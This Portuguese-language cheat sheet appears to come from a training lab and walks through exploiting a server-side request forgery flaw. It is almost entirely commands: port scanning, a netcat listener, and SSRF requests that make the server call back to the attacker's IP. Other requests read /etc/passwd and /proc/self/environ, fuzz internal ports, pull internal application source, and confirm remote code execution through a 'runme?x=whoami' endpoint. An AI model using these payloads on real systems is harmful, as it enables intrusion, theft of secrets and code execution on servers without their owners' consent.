SSRF Exploitation Example

SSRF nos permite abusar da funcionalidade do servidor para realizar solicitações de recursos internos ou externos em nome do servidor.

nmap -sT -T5 --min-rate=10000 -p- --open 10.129.201.238

Verificando as portas do destino externo

curl -i -s -L http://<TARGET IP>

Interagindo com o alvo e seguindo redirecionamentos

nc -lvnp 8080

Iniciando um ouvinte netcat para testar SSRF

curl -i -s "http://<TARGET IP>/load?q=http://<VPN/TUN Adapter IP>:8080"

Teste de vulnerabilidade SSRF

python3 -m http.server 9090

Iniciando o servidor web python

sudo pip3 install twisted

Instalando o servidor ftp

sudo python3 -m twisted ftp -p 21 -r .

Iniciando o servidor ftp

curl -i -s "http://<TARGET IP>/load?q=http://<VPN/TUN Adapter IP>:9090/index.html"

Recuperando um arquivo remoto por meio do aplicativo de destino (esquema HTTP)

curl -i -s "http://<TARGET IP>/load?q=file:///etc/passwd"

Recuperando um arquivo local por meio do aplicativo de destino (esquema de arquivo)

for port in {1..65535};do echo $port >> ports.txt;done

Gerando uma lista de palavras de portas possíveis

ffuf -w ./ports.txt:PORT -u "http://<TARGET IP>/load?q=http://127.0.0.1:PORT" -fs 30

Fuzzing para portas na interface interna

curl -i -s "http://<TARGET IP>/load?q=http://127.0.0.1:5000"

Interagindo com a interface interna na porta descoberta

curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=index.html"

Interagindo com o aplicativo interno

curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http://127.0.0.1:1"

Descobrindo um aplicativo da web escutando no host local

curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:1"

Modificando o URL para ignorar a mensagem de erro

curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=file:://///proc/self/environ" -o -

Solicitando a divulgação do arquivo /proc/self/environ no aplicativo interno

curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=file:://///app/internal_local.py"

Recuperando um arquivo local por meio do aplicativo de destino

curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=whoami"

Confirmando a execução remota de código no host remoto

sudo apt-get install jq

Instalando jq

Last updated